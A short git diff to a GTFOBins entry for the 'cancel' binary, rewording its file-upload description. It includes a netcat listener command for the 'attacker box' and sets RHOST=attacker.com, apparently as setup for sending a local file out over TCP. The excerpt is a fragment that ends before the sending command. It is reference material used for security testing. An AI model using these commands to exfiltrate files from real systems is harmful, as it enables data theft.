diff --git a/_gtfobins/cancel.md b/_gtfobins/cancel.md index ec4cb47..8cfaec8 100644 --- a/_gtfobins/cancel.md +++ b/_gtfobins/cancel.md @@ -1,7 +1,7 @@ --- functions: file-upload: - - description: Send contents of a file to a TCP port. Run `nc -nlvp $RPORT > "file to save"` on the attacker system to capture the contents. + - description: Send local file using a TCP connection. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file. code: | RHOST=attacker.com RPORT=12345